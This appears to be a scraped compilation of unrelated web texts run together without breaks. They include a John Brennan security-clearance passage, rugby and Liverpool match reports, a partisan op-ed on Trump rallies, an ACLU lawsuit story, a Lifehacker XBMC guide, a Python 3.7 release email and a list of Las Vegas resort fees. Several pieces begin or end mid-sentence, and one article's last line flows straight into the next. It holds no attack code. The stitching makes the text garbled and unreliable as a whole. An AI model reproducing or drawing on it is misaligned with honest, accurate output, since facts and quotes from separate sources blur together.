Burak Bekdil is an Ankara-based columnist for Hürriyet Daily News and a regular contributor to Al-Monitor. He has also been writing for the U.S. weekly Defense News since 1997.
[1] Press TV (Tehran), Dec. 19, 2013.
[2] "Türkiye-Iran Siyasi Ilişkileri," Turkish Ministry of Foreign Affairs, Ankara, accessed Jan. 28, 2014.
[3] Der Spiegel (Hamburg), June 22, 2009.
[4] "Transatlantic Trends 2006," Transatlantic Trends 2006 Partners, Washington, D.C., p. |
Helsinki rises to & exceeds the threshold of "high crimes & misdemeanors". It was nothing short of "treasonous". Not only were Trump's comments "imbecilic", he is wholly in the pocket of Putin. Republican Patriots: Where are you??? July 16, 2018[80]
Trump responded by calling Brennan a "total lowlife".[81]
Security clearance revocation [ edit ]
Brennan at the LBJ Presidential Library, October 24, 2018
On August 15, 2018, White House Press Secretary Sarah Huckabee Sanders read a statement from President Trump dated July 26, 2018, in which he revoked Brennan's security clearance.[82] The statement said Brennan's "lying and recent conduct, characterized by increasingly frenzied commentary, is wholly inconsistent with access to the nation's most closely held secrets and facilitates the very aim of our adversaries, which is to sow division and chaos".[83] The statement said further, that Brennan had "recently leveraged his status as a former high-ranking official with access to highly sensitive information to make a series of unfounded and outrageous allegations – wild outbursts on the internet and television – about this Administration".[16]
On August 16, Brennan stated that Trump's claims of no collusion with Russia were "hogwash": "The only questions that remain are whether the collusion that took place constituted criminally liable conspiracy, whether obstruction of justice occurred to cover up any collusion or conspiracy, and how many members of 'Trump Incorporated' attempted to defraud the government by laundering and concealing the movement of money into their pockets."[84]
Following the announcement, 15 former senior intelligence officials and 60 other high-ranking former CIA officers protested the Trump decision in an open letter saying, "... former government officials have the right to express their unclassified views on what they see as critical national security issues without fear of being punished for doing so."[85] Calling Brennan "one of the finest public servants I have ever known," retired Navy admiral William H. McRaven addressed President Trump in an op-ed saying, "I would consider it an honor if you would revoke my security clearance as well, so I can add my name to the list of men and women who have spoken up against your presidency."[86]
In an extensive interview on August 17, Brennan responded to Trump's decision to remove his security clearance, expressing alarm for the nation's national security in the statement: "[the country] is in a crisis in terms of what Mr. Trump has done and is liable to do. Are the Republicans on the Hill who have given him a pass -- are they going to wait for a disaster to happen before they actually find their backbones and spines to speak up against somebody who clearly, clearly, is not carrying out his responsibilities with any sense of purpose and common sense from the standpoint of national security?"[87][88]
On August 19, Brennan told the host of NBC's "Meet the Press" that he was considering legal action to prevent Trump from doing the same to others.[89]
Criticism of Brennan [ edit ]
In a tweet on July 23, 2018, Senator Rand Paul accused Brennan of making money from his security clearance and called for Brennan's clearance to be revoked. Adding in a second tweet, Paul said, "Today I will meet with the President and I will ask him to revoke John Brennan's security clearance!" Later at a press conference on that date Sarah Huckabee Sanders told reporters that President Trump was considering removing the clearances of several of Obama's intelligence officials, including Brennan, saying,"The president is exploring the mechanisms to remove security clearance because they politicize and in some cases monetize their public service and security clearances."[90][91]
Personal life [ edit ]
Brennan is married to Kathy Pokluda Brennan. Together they have one son, Kyle and two daughters, Kelly and Jaclyn.[2][3][92]
References [ edit ]
Further reading [ edit ]Canadian World Cup duo Jeff Hassler and Tyler Ardron will make their much-anticipated returns from injury for Ospreys against Zebre on Sunday at the Stadio XXV Aprile in Parma. The pair having been missing in action since the tournament concluded, each recovering from knee problems suffered on international duty.
Both players are now in their third seasons with the Welsh regional side, after signing prior to the 2013/14 season. Hassler has established himself as first choice right wing at the club, and was named to the Pro 12 Dream Team at the end of his first season. Ardron’s status has been rising steadily since his club debut, with his versatility seeing him line up in both the second and back row.
Ospreys currently sit in 8th position in the Guinness Pro 12 with three wins and five losses, and will welcome the return of two key players. Former USA age-grade representative Hanno Dirksen is named on the bench. The South African-born winger now qualifies for Wales on residency.
OSPREYS
1 Paul James 2 Sam Parry 3 Dumitru Arhip 4 Lloyd Ashley 5 Tyler Ardron 6 James King 7 Justin Tipuric (capt.) 8 Dan Baker 9 Tom Habberfield 10 Sam Davies 11 Eli Walker 12 Josh Matavesi 13 Jonathan Spratt 14 Jeff Hassler 15 Dan Evans
16 Scott Otten 17 Nicky Smith 18 Ma’afu Fia 19 Alun Wyn Jones 20 Olly Cracknell 21 Martin Roberts 22 Dan Biggar 23 Hanno DirksenYou might have noticed that the AP's Twitter account was hacked this afternoon and spread a report of a bombing at the White House. That yet another Twitter account was hacked isn't the interesting part, it's the immediate (if brief and shallow) plunge that the financial markets took. We don't really need any further reminders of the power of social media, but it's hard to ignore this particularly stark demonstration of the real-time effects. In this hyper-connected environment a breaking news tweet that was only live for a few minutes and, in retrospect, contained many glaring clues to its falsehood, caused the Dow Jones Industrial Average to drop to 14,567, from 14,697. Now, that only represents a roughly 1-percent drop, and it lasted only about as long as the tweet itself -- the markets quickly bounced back and stabilized. But it is a firm reminder that virtual events can have significant real world consequences.Untitled a guest Feb 11th, 2016 856 Never a guest856Never
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rawdownloadcloneembedreportprint text 0.51 KB Disregarding the dumb RNG of the game and using SCIENCE: (Hippie code): Max allowed traitors: 4 Wondering how many times you'll roll traitor on a server with always 40 people on, rounds ALWAYS lasting an hour and Hip code? (This is disregarding other gamemodes) One hour: 10% chance One day (the whole deal. I know some people that packs up red bulls to go on a gaming binge): 2.4 times, or 2 if we truncate. 3 if you're lucky. One month made up of 30 days: 72 traitor rolls One whole year: 876 traitor rolls
RAW Paste Data
Disregarding the dumb RNG of the game and using SCIENCE: (Hippie code): Max allowed traitors: 4 Wondering how many times you'll roll traitor on a server with always 40 people on, rounds ALWAYS lasting an hour and Hip code? (This is disregarding other gamemodes) One hour: 10% chance One day (the whole deal. I know some people that packs up red bulls to go on a gaming binge): 2.4 times, or 2 if we truncate. 3 if you're lucky. One month made up of 30 days: 72 traitor rolls One whole year: 876 traitor rollsViolence broke out over the weekend at several Donald Trump campaign rallies. Leftwing thugs battled with police in Chicago and St. Louis.
One unhinged lunatic tried to storm the stage at a rally in Dayton, Ohio. He was stopped by Secret Service agents. Heaven only knows what he would’ve done had he gotten ahold of Mr. Trump.
Click here to join Todd’s American Dispatch – a Must-Read for Conservatives!
To be clear – what happened over the weekend was not just an attack on Mr. Trump. It was an attack on the First Amendment.
But instead of condemning the professional hooligans -- the political chattering class condemned Mr. Trump.
A despondent Senator Marco Rubio went so far as to liken Mr. Trump to a third world strong man.
He’s come under fierce attack for suggesting that his supporters physically manhandle protesters. In February he told an audience that he wanted to punch one of the protesters in the face.
That sort of language has no place in any political campaign.
But that’s not what brought about the weekend violence.
The person responsible for fomenting political unrest and creating this toxic environment is not Donald Trump -- it's President Obama.
For the past seven and a half years this man has been stoking division and discord.
You want to talk about creating controversy? Fine. Let's talk about Baltimore and Ferguson, Missouri and Trayvon Martin.
President Obama is the one who told his followers if they bring a knife to the fight -- we bring a gun --- that's what he said.
I don't recall too many Republicans getting upset over that remark.
Many conservative pundits still do not understand why Americans are flocking to Donald Trump.
They seem bewildered that we've ignored Establishment Overlords like Mitt Romney and the uppity-ups at National Review
So for the sake of all you Republicans in Name Only - let me explain what's going on here.
The folks who pay the bills in this country are fed up. We're tired of being called racists and homophobic and xenophobic.
The Silent Majority is mad as hell -- and we're not going to take it anymore.The match at Anfield against Sunderland took on extra significance given the run of form enjoyed by Chelsea under Antonio Conte. Whilst it is remiss to place too much importance on a single result at this stage of the season there is still a danger in allowing your opponent to open up too much of a gap at this point of the season.
Last week against Southampton saw Liverpool come away with a 0-0 draw with Southampton setting out in an organised and well structured defensive unit.
So far this season we have seen mixed results from Liverpool when playing against teams that are content to sit in a low block. In the second match of the season we saw Burnley come out 2-0 winners at Turf Moor despite barely seeing the ball. Hull City on the other hand tried to set up in a similar fashion but were handicapped by an early sending off as Liverpool overwhelmed the ten men and won 5-1.
It would be incorrect to suggest that Southampton set up in a purely defensive shape, instead they are extremely well drilled defensively and capable of countering the myriad of attacking threats offered by Liverpool.
Sunderland would provide a completely different proposition to Southampton. Under David Moyes the side from the North East have started extremely slowly in the league but in recent weeks there have been signs of a possible revival. Under Moyes the general philosophy of Sunderland is one of defensive football with direct counter attacks.
Would this distinct defensive style play in to the hands of Klopp’s attacking structure or would we see another difficult match for Liverpool?
Team News
There was little change in the team news for Liverpool with Adam Lallana still not fit to return to first team action. The defensive unit was unchanged with Karius in goal behind a settled unit of Clyne, Matip, Lovren and Milner. There may have been an argument for Lucas coming in to the back line instead of Lovren given his extra ability on the ball.
The midfield three consisted of Henderson, Wijnaldum and Can whilst in attack we saw the first choice unit of Coutinho, Firmino and Mane.
Sunderland defend in a deep block
In the aftermath of this match Liverpool manager Jurgen Klopp has came out and said “I’m not sure I’ve ever played against a more defensive team than today” that in itself tells the story of the match as Sunderland came out in the first half purely intent on denying Liverpool space to play in the final third.
At times the structure from Sunderland resembled a 6-3-1 system with even the ‘3’ in midfield deep and shielding their defensive line.
This defensive strategy limited the space that Liverpool had to play in their favoured attacking zones. Mane, Firmino and Coutinho all continued with their favoured movements dropping in and out of spaces in the half spaces and in Coutinho’s case centrally. Unlike in most matches though these movements were not enough to provoke discord in the Sunderland defensive block.
They were allowed to drop off unchecked and pick the ball up in space whilst the Sunderland defensive structure stayed stubbornly in space.
That Liverpool were able to eventually overcome this stubborn resistance is a testament to their tactical discipline as instead of resorting to brute force to break the defensive structure they continued to be patient and dominate the ball in the final third. With the forward players failing to break through in isolation it was left to the supporting players to combine and overload sections of the Sunderland defence.
The role of Emre Can
At the beginning of the season we saw Wijnaldum come in to the first team and settle extremely quickly in to the system preferred by Klopp. At this time Emre Can was injured and there were doubts over where he would find space in the first team when he was fully recovered.
Those doubts were assuaged when Wijnaldum missed time due to injury and this coincided with Can regaining something approaching full fitness. At first the role played by Can was unclear as he appeared to be performing multiple tactical duties within any given match, gradually though we have seen a return to his performances of last season with impressive tactical intelligence combined with forays in to the final third of the pitch.
In this image the importance of Coutinho’s movements from outside to in are again highlighted. I have shown more than once this season that whilst Mane on the right side prefers to come inside in to the narrow half spaces to connect with Clyne we see a different structure on the left hand side with Coutinho coming in to the central area from the left side.
As Coutinho moves in to the central area he drags Sunderland players along with him and opens it up. As the space opens up Can has the capacity and the willingness to move forwards in to the final third whilst carrying the ball.
These movements from deep add extra stress on to the defensive structure and when combined with the movements of the front three we can begin to see how Liverpool gradually broke Sunderland down.
This time the ball is still in the Liverpool half of the field when Can moves towards the final third of the field.
The first pass beaks the first line of Sunderland defenders and Can breaks in to space in the central areas to make himself available for the next pass that will break the second line of Sunderland players.
The ability to move in to advanced areas and receive possession either facing goal or with his back to goal makes it very difficult for the opposition to account for the movement of Can.
Connections and overloads
As the game wore on Liverpool tried more and more to overload specific sides of the Sunderland defence. Their players appear at times to be in constant movement with advanced players dropping deep and deep players moving forward and we saw connections formed at times between four, five or even six Liverpool players in one side.
Here I have captured six Liverpool players trying to overload on the right hand side of the final third. By positioning themselves in this manner Liverpool make it easy to shift the angle of the attack to either side to the front or to the back of the structure.
This ease of ball circulation means that they can quickly adjust and react to mistakes or gaps in the Sunderland defensive system to capitalise on them.
This time the structure from Liverpool is slightly different. As Firmino and Origi have dropped in to deep area that would normally be occupied by a number ‘10’ we see Can and Wijnaldum bypass them to become the most advanced players in the attacking movement.
As the play develops the forward players will be able to move back towards the Sunderland goal and threaten the defensive structure with an overload.
Against a stubborn defensive resistance the patience and tactical discipline to continue to probe and look at different angles and pressure points to break through the defence.
Conclusion
2-0 was of course the very least that Liverpool deserved in this match. They dominated the game in each phase of the match and in truth the fans were becoming nervous as the game progressed and there was still no breakthrough.
If Liverpool had failed to break Sunderland down and drawn their second consecutive match 0-0 then questions would have to be asked about their title credentials.
This is a match that Liverpool needed to win, they lost Coutinho to injury and had Sadio Mane in poor form and still found a way through, some would say that this is the mark of champions?Have you pruned your projects lately?
I started thinking about this last week when I was pruning our rosebushes. In case you’ve never done it, pruning plants is more art than it is science. It requires you to consider both the growth that’s on the plant at the same time that you think about how you want the plant to grow. Each limb, each fork, and each new bud requires examination and intuition-based decisions.
It’s always a bittersweet process for me. I don’t like pruning the new growth that is already there, but I know that with a gentle trim, the plant will flourish better than if it just grew wild. Trimming the right growth causes the to plant divert its precious life energy to the growth that will bring the best blossoms.
How similar we are in the projects and commitments we grow! Every new project and commitment requires the time and focus that is our creative life energy, and, at a certain point, the upkeep on them is such that it’s hard to get any one of them to blossom. Instead of remarkable products and budding relationships, we end up with projects continually half-done, friends/family/clients half-satisfied, and experiences half-lived. Twenty buds that never got the nourishment they needed never outshines the ten blossoms that did.
Unfortunately, we do not have the gentle gardener that comes through and delicately trims our projects and commitments so that we grow the way we could. Instead, the sometimes harsh storms of time, money, and stress force us to pare down what we’re trying to do, and all too often the growth that helps us flourish is the first growth to be broken by the winds – we respond and fix urgent crises and are left with so little energy for the important stuff that those things never get a chance to grow.
The month of May happens to be a great month for pruning both roses and projects. We’ve had a few months to see which of our New Year’s Resolutions or ideals have made progress and which have not. The mere possibilities of the summer are now much closer to nexus of actuality and impossibility. It’s time for us to choose what major things we will grow this year now, in the spring sun, before the summer sun comes and scorches the weak growth into the ground.
Take a look at your projects, someday/maybes, and dreams for this year. Which are you going to prune so that the others can blossom?
Photo Credit: SantiMBThe American Civil Liberties Union (ACLU) and the ACLU of Michigan announced on Thursday that they have filed a federal lawsuit against Michigan Secretary of State Ruth Johnson (R), challenging a policy that makes it nearly impossible for transgender people to correct their gender markers on state driver’s licenses or other forms of identification.
The lawsuit, brought on behalf of six transgender Michiganders, is seeking a court order to declare the policy unconstitutional, arguing that it represents a “refusal by the state to recognize and respect” gender identity. Under the policy, which was instituted by Johnson upon first taking office in 2011, Michigan refuses to change the gender on a driver’s license or other form of identification unless the person produces an amended birth certificate showing the gender on the birth certificate matches their correct gender.
But for most transgender people, obtaining an amended birth certificate is a process that can be nearly impossible. According to Booth Newspapers’ MLiveDetroit, three of the plaintiffs — two born in Ohio and another in Idaho — are unable to obtain an amended birth certificate, due to Ohio and Idaho’s policies disallowing any person from changing their birth gender on vital documents. Two other plaintiffs, born in Michigan, can only obtain an amended birth certificate under Michigan law if they undergo gender confirmation surgery, which can be medically unnecessary and cost-prohibitive. And the sixth, born in South Carolina, must obtain a court order to amend his birth certificate.
“By refusing to provide transgender people with identity documents that match their correct gender identity, the state makes it unimaginably difficult for them to navigate their everyday lives,” said Jay Kaplan, staff attorney for the ACLU of Michigan LGBT Project. “Worse, the policy exposes an already vulnerable group to the risks of repeatedly having to reveal intimate personal medical information that, when divulged in some situations, can lead to discrimination, harassment, violence, and even death.”
The plaintiffs contend that Michigan’s policy is arbitrary, strays from department policy as practiced under previous secretaries of state, and was motivated by animus, using Johnson’s statements from her 2010 Republican primary campaign against her. The lawsuit also argues that Michigan’s policy, as instituted by Johnson, conflicts with federal policy, which does not require surgery in order to change gender markers on identity documents. According to the ACLU, more than 25 other states also do not require gender confirmation surgery in order to change one’s birth certificate.
“In stark contrast to Michigan, where the Defendant has put in place a more restrictive policy than what existed in the past, the federal government and a number of other states have modernized their policies for correcting the gender on identity documents, such as driver’s licenses or passports,” the complaint against Johnson reads. “They have done so by eliminating surgical and other burdensome requirements in favor of policies that allow a gender correction based on a sworn statement or letter from a medical providers confirming the transgender individual’s change of gender.”The economy and stock market will fare better if Mitt Romney wins the presidential election, says Todd Schoenberger, managing principal of The BlackBay Group.Presidential contests generally don’t affect the economy, but it’s different this time around, he tells Yahoo.“You look at the current administration, and you have the word uncertainty. It’s driving me crazy — it’s like kicking the can down the road.”Corporations are sitting on more than $1 trillion of cash reserves, unwilling to invest, Schoenberger says."If you have the GOP that takes over the White House, you're going to have companies that are going to feel a little more secure,” he says.“Therefore you can only assume that money will be put to work. In that case it’s great for stocks."The first presidential debate, scheduled for Oct. 3, will finally force the candidates to present substantive solutions for our economic woes, Schoenberger says. After then, he sees Romney pulling ahead.“If that’s the case, that’s when you want to go long this market,” he says.“I think the S&P 500 goes through the roof in the first six months of next year with a Romney presidency.”To be sure, if the stock market remains strong, Romney might lose.In 80 percent of the presidential elections since 1900, when the Standard & Poor’s 500 Index rose in the three months prior to Election Day, the incumbent won, according to S&P Capital IQ.The main purpose of these pigeon towers were to collect dung which was a significant source of local revenue. These towers were frequently decorated with white plaster and painted ochre (which is the color that attracts pigeons the most). These cylindrical towers constructed of brick, gypsum, and lime plaster would range from 15 to 25 meters in diameter to often imposing heights of 20 meters or more. Topped with domes with crevices to allow access to honeycombed interiors, each pigeon tower could accommodate thousands of the Persian wild pigeons.
The top edges of the towers are shaped in a way in which snakes or animal can’t climb up.
If these towers had not been acoustically designed as they are, the sound waves would literally kill the birds.
Bird seeds sit in the little chambers in the wall.
The dung at the bottom of the tower…
AdvertisementsXBMC is a fantastic and free cross-platform media center application we're nuts for. If you've wanted to start using it or just wanted to customize the XBMC installation you're already running, this guide will walk you through everything, from installation to total customization.
Update: This guide is now out of date. Check out our new complete guide to XBMC for more up-to-date options.
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We've featured quite a few XBMC tips, tricks, and guides here at Lifehacker. We're quite fond of it, and with good reason: It's attractive, powerful, and highly customizable. In fact, nearly everyone at Lifehacker has a copy installed somewhere—and I have XBMC networked and running on every television and computer in my house.
Rather than leave you to dig through the archives of all the tips and guides we've shared, today we're going to walk you through our guides covering everything from installation to tweaking your media and media center for the ultimate XBMC experience, start to finish. Rather than rehash the detailed instructions we've laid out in various guides, we'll highlight the most compelling reasons for each tweak and direct you back to the original guide for a step-by-step walk through. When you're done, you'll have a streamlined media center with some awesome skins, a tidy media collection, automatic television show downloading, and games!
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Install XBMC
XBMC originated as an ambitious media center project on the original Xbox, but has since grown well beyond the capabilities of its platform of origin. While our step-by-step guide to turning a classic Xbox into a killer media center is still a great way to breathe life into an old Xbox, the old Pentium III in the classic Xbox is showing its age. If you're using the classic Xbox you can follow along with the suggestions in this guide, but keep in mind that the original Xbox can't handle some of the flashier skins.
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Everyone can grab a copy of XBMC for their respective operating system here. For additional guidance you'll want to check out our guides to installing XBMC on a USB drive, on a Mac, or if you have any troubles with the straightforward Windows install, check out the XBMC for Windows wiki.
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On the other hand, if you're feeling ambitious—and have a little extra cash to spend on this project—you'll definitely want to check out our guide to building a silent and standalone XBMC media center on the cheap. It really is dead silent, tiny, an excellent upgrade path from the classic Xbox architecture. Imagine squishing your classic Xbox down to the size of a paperback book—see the picture above—and upgrading the video output to 1080 and you've got the awesome nettop-based XBMC build we put together.
Even if you don't opt to buy a new nettop for the project, using the XBMC LiveCD to install XBMC on an older machine is a great way to turn an otherwise lacking machine into a great, dedicated HTPC for media playback. I've installed XBMC from the LiveCD onto many an older box that wouldn't have done very well with Windows + XBMC for Windows but does HD playback easily with the lightweight version of Ubuntu that installs with XBMC from the LiveCD.
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Set Up Your Remote
Some people will have it easier than others when it comes to configuring their remotes. The classic Xbox works with the Microsoft DVD playback kit right out of the box. If you're running XBMC on Linux (like our silent standalone build, you can use Windows Media Center remotes just fine—but good luck using that Windows Media Center remote on a Windows machine running XBMC without a big hassle (go figure!). Mac users can read about configuring the Apple remote in our guide here or jump directly to the XBMC for Mac wiki.
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Be forewarned that in some situations, especially on Windows, configuring IR remotes to work with XBMC can be a chore. On Windows, I've used both LIRC for Windows and EventGhost with success. You can read up on LIRC with our guide here or see an example of using EventGhost with XBMC here. Speaking from experience here, once you get your remote configured just the way you want, make sure—extra, extra sure!—to back up your remote configuration file from your respective application. It's a pain to set up remote configuration files, but if you back it up, you'll only be doing it once.
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Configuring the basic remote is a great start and many people won't need to venture beyond the basics, but this would hardly be a comprehensive guide if we didn't cover some of the other neat ways you can interact with your XBMC. After recently upgrading to an Android-based phone, I started experimenting with this Android remote control for XBMC—seen in the screenshot above—which essentially turns my phone into a wireless touchscreen remote that can access any of my XBMCs and browse their music and movie collections. If you have an Android, iPhone, or Windows Mobile phone, you'll want to check out the remote applications available for them. I can't say enough good things about Android remote control for XBMC. It even supports multiple XBMCs so I can swap music in one part of the house while queuing up a movie in another—amazing!
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Even if you don't have a phone, you can still enhance your XBMC experience with computer-based remotes. XBMC has a built-in web server with a remote tool and a variety of small applications like XBMC Control—seen in the screenshot above—make it easy to control your music or video playback from your netbook, laptop, or desktop—quite handy for changing the music playing through the living room stereo from your office. Check out our full guide to enhancing your XBMC experience with remote controls for any device for more information.
Make It Pretty
With each new generation of XBMC, the default skin becomes more beautiful. Even with a great default, there are tons of stunning skins that make exploring alternatives to the default quite worthwhile. We highlighted five awesome ones here, and you can browse even more at the official XBMC site—the video above is of Aeon, one of the more ambitious skins around.
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Aside from actually enjoying your media, showcasing it with a beautiful, easy-to-navigate skin is probably the best part of XBMC. Without fail, every visitor who sees my setup asks me how much I paid for it and has trouble believing that something as polished and awesome as XBMC is available for free. There simply isn't a commercial media player that comes close to the "The future is now!" vibe of XBMC. I won't point fingers, but having played around with many of the commercial media devices on the market, most of them have interfaces that look like they hail from last century. Read up on skinning your XBMC install here.
If you want to keep on top of the latest skin developments and really see how far designers are pushing XBMC, you'll want to keep an eye on the skinning forum at XBMC.org. You'll find sub-forums there for popular skinning projects like Aeon, Confluence, and more. I've logged quite a bit of time over the years reading posts on the XBMC forums; it's a great place to get very specific help on nearly everything related to XBMC from install issues to little tweaks for your favorite skins.
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Massage Your Media for Maximum Wow Factor
If showing off a glossy new skin catches peoples attention, you won't believe how impressed they are that you can do things like display all movies with a certain actress in them, browse by director, or at a glance look over the media information and see immediately if a movie is in HD, what kind of audio channel it uses, and see a summary of the movie or view a trailer.
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Earlier this year we put together an extensive guide to getting your media collection in shape for XBMC. While the XBMC media scrapers do an admirable job on their own, there's no substitute for storing information about your media collection with the actual media collection instead of in the XBMC database.
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Things run faster, restoration after a hard drive crash or an XBMC reinstallation takes minutes—instead of hours, hours, and more hours of rescraping your collection—and you get fine tuned control over your media. If you've ever had to leave your XBMC running for a 12 hour marathon of movie and music scraping or you've been annoyed at frequent mistakes from scrapers, you should take the time to clean up your media and start storing the media info with the media itself and not within the XBMC database. It's not as intimidating or as time consuming as it sounds, but you'll definitely want to make a weekend project of it if you've got a huge collection. Just be prepared to continually explain to guests that you didn't pay anything for the awesomeness they are experiencing.
Automate TV Show Downloads
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If you use your XBMC to watch downloaded and ripped television shows, you really need a system in place to automate the process before you get buried under unwatched and weirdly named episodes. Check out this guide to fully automating the flow of television shows from the tubes to your XBMC server to learn how to take television shows from torrents to neatly named and filed away without any interaction on your part.
If you've never wrestled with cataloging lots of television shows before, we can't emphasize enough how much time an automated system like this will save you. XBMC isn't a TiVo but with an automatic workflow like the one outlined here, it might as well be.
Fun and Games
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We all have projects we've been intending to get around to doing but never find time for. Ever since I switched from using the classic Xbox to using a PC running XBMC, I missed the games. My old Xbox was set up with emulators and I had my old Xbox games on it too. When I moved to a new machine I never got around to setting up the game section of XBMC until Whitson wrote up an awesome tutorial on how to turn XBMC into a video game console.
Check out the tutorial to see how to use XBMC to catalog your computer games, emulators, and how to play them all with an Xbox 360 controller. Thanks to the guide, the only thing I missed from my classic Xbox is back in my media center menu. You don't need games on a media center, of course, but we're building the ultimate media center. The real measure of the ultimate media center is if it will stream the Super Mario Bros. movie, showcase the Super Mario Bros. Super Show!, and let you play Super Mario Bros. 3.
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Not to engage in some "Back when I was a lad..." nostalgia but I would have killed for a guide like this when I first started with XBMC. Back in the early days of XBMC, if you had a question about how something worked you hit up Google, the XBMC forums, and dug until you found some answers. Every new thing involved crazy tweaks, tinkering, swearing, and more digging in the forums for answers. Thankfully XBMC has evolved and now somebody with no prior experience can take a guide like this, work their way from the top of the list to the bottom, and be rewarded with a jaw dropping media center when they're done. Speaking of lists, if you're feeling a little overwhelmed at all the stuff that goes into tweaking XBMC into an ultimate media center, check out the list below and schedule each step onto your calendar:
Download and install XBMC (also check out our silent nettop build) Set up your remote. Slap on some new skins! Clean up your media. Automate TV show downloading and sorting. Install emulators and link to your installed games. Invite your friends over to check out your awesome handiwork!
Have a favorite XBMC tweak or tip? Stuck trying to figure out how to do something with XBMC? Sound off in the comments to share your tweaks or get some help.
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Jason Fitzpatrick is an XBMC devotee who spreads the gospel of open-source media center magic whenever he can. If he hasn't already converted you to XBMC through the miracle of streaming media and meticulously cataloged movies it's only a matter of time.It’s an open secret that most members of the media have grumbled at the inclusion of Jim Hoft’s far right blog, The Gateway Pundit in the White House briefing room. For Fox Radio reporter, Jon Decker, it finally became too much.
According to BuzzFeed’s White House correspondent Adrian Carrasquillo, Decker decided to very publicly and very loudly sound off against Gateway Pundit’s White House correspondent Lucian Wintrich in the press room.
“They hate blacks, Jews, Hispanics,” Decker said of The Gateway Pundit.
Fox News Radio John Decker just loudly told everyone in briefing room that Gateway Pundit is here “they hate blacks, Jews, Hispanics.” Wild — Adrian Carrasquillo (@Carrasquillo) March 10, 2017
He was speaking to Lucian Wintrich. He said it twice, pointing to him, so everyone knew who he was. https://t.co/42njWQQ0fX — Adrian Carrasquillo (@Carrasquillo) March 10, 2017
“He followed me into the briefing room calling me a Nazi,” Wintrich told Mediaite, “He really aggressively grabbed me, not to the point where I was bruised, but close to it.”
On his own Twitter page, Wintrich provided more details, and announced that he was pressing charges.
Jon Decker asulted me at today’s briefing. @FoxNews – is this behavior something you tolerate over there? He’s sick.https://t.co/gzZhhIzOMD pic.twitter.com/ThppoHpRQw — Lucian B. Wintrich (@lucianwintrich) March 10, 2017
John Decker also asulted me, pushing me in the break room & then grabbing my arm in the briefing room while shouting that I’m a nazi. https://t.co/RiVM1yYCJv — Lucian B. Wintrich (@lucianwintrich) March 10, 2017
After this briefing, I am going to be filing assult and harassment charges against Jon Decker. https://t.co/RiVM1yYCJv — Lucian B. Wintrich (@lucianwintrich) March 10, 2017
The incident caused a minor stir with Wintrich seemingly lecturing a small gaggle of reporters in the immediate aftermath outside the White House.
The Gateway Pundit guy is now holding a gaggle outside the White |
," said Brader.
"Human error was a major factor in Enbridge's spill into the Kalamazoo River. These coating gaps point to other areas where human error, not the environment, are creating problems," she said.
Enbridge has parked a barge over the pipeline for the past couple weeks while inspecting the impact invasive zebra and quagga mussels are having on the pipeline coating. The work is required by a 2016 settlement with the federal government over the 2010 spill.
Duffy said Enbridge plans to make repairs as soon as possible, but is exploring whether it needs to obtain any special state or federal permits for the work.
Liz Kirkwood, a leading advocate for shutting down the pipeline, suggested the coating loss represents a violation of Enbridge's 1953 easement with the state.
"I think the ball has shifted back into the state's hands to enforce the expressed terms of the easement because it's clear that Enbridge is not acting as a reasonable prudent person as required," said Kirkwood, director of the nonprofit FLOW.
"This is further evidence of lack of stewardship and transparency."
Lisa Wozniak, director of the Michigan League of Conservation Voters, said the news "only strengthens the case for the Snyder administration to do what needs to be done by shutting down this out-dated, poorly maintained, and dangerous pipeline."[Python-Dev] Reminder: 12 weeks to 3.7 feature code cutoff
Happy belated Halloween to those who celebrate it; I hope it wasn't too scary! Also possibly scary: we have just a little over 12 weeks remaining until Python 3.7's feature code cutoff, 2018-01-29. Those 12 weeks include a number of traditional holidays around the world so, if you are planning on writing another PEP for 3.7 or working on getting an existing one approved or getting feature code reviewed, please plan accordingly. If you have something in the pipeline, please either let me know or, when implemented, add the feature to PEP 537, the 3.7 Release Schedule PEP. As you may recall, the release schedule calls for 4 alpha preview releases prior to the feature code cutoff with the first beta release. We have already produced the first two alphas. Reviewing the schedule recently, I realized that I had "front-loaded" the alphas, leaving a bigger gap between the final alphas and the first beta. So I have adjusted the schedule a bit, pushing alpha 3 and 4 out. The new dates are: - 3.7.0 alpha 3: 2017-11-27 (was 2017-11-13) - 3.7.0 alpha 4: 2018-01-08 (was 2017-12-18) - 3.7.0 beta 1: 2018-01-29 (feature freeze - unchanged) I hope the new dates give you a little bit more time to get your bits finished and get a little bit of exposure prior to the feature freeze. Considering how quickly and positively it has been adopted, 3.6 is going to be a tough act to follow. But we can do it again. Thank you all for your ongoing efforts! --Ned -- Ned Deily nad at python.org -- []Image Source : GETTY IMAGES | Las Vegas Parking
Non-Vegas Strip Resort Fees + Non-Vegas Strip Las Vegas Parking Fees
[Updated April 19, 2018]
The Vegas Strip is the part of Las Vegas made famous in movies, books, and television shows. However, there’s much more to Las Vegas than just the Vegas Strip. According to the most recent census, there are approximately 2 million people living in the greater Las Vegas area. There’s an entire city of humans that live beyond the Vegas Strip.
Related: Overview Vegas Strip | Resort Fees + Parking Fees
When I first started visiting Las Vegas, I never left the Vegas Strip. However, that changed over the years. First, friends took me to downtown Las Vegas. Instantly Old Vegas, as it was once known, became a part of almost every trip. Later on, a bachelor party showed me what the locals casinos have to offer. It’s a very different Las Vegas experience and I love it.
There’s something for everyone and every mood in Las Vegas. I say this often and it’s always been true. Nowadays, people are looking off the Vegas Strip for a value. Resort fees, parking fees, drink monitoring systems and poor gambling odds and rules on the Vegas Strip are taking away what Las Vegas used to be. Some of the things that made Las Vegas great can be still found in downtown Las Vegas and the locals casinos.
The value may seem better but there are still fees when you leave the Vegas Strip. However, many hotels have resort fees and some downtown Las Vegas casinos charge a fee to park. Resort fees are an additional, unadvertised, fee added onto the bill to each night you stay in a hotel. These unadvertised fees are also unspoken fees. The fees were negligible at one point. Today they’re a substantial addition to hotel room bills. Depending on the night, the resort fee can be more than the advertised room rate when you stay in a hotel away from the Vegas Strip.
Resort fees cover the expense of different amenities offered by a hotel such as wifi, local phone calls, gym and pool access. Every Las Vegas hotel company has a slightly different list, but those are the basic services offered by most companies. Before wifi, the other amenities were complimentary.
Let’s take a look at resort fees for hotels away from the Vegas Strip. Since there are so many hotel-casinos around Las Vegas I’ll break them into sections for easier reading.
Downtown Las Vegas Resort Fees
California – $14.99
The D – $28.25
Downtown Grand – $25.99
El Cortez – $16.89
Four Queens -NO FEE
Fremont – $14.99
Golden Gate – $28.25
Golden Nugget – $33.34
Main Street Station – $14.99
Plaza – $24.86
Near Vegas Strip (2 miles and closer) Resort Fees
Ellis Island – $20.40
Gold Coast (B-Connected) – $17.99
Hard Rock – $31
Hooters – $35 (Waived on COMP Rooms)
Lucky Dragon (Dragon Club) – $28
The Orleans (B-Connected) – $17.99
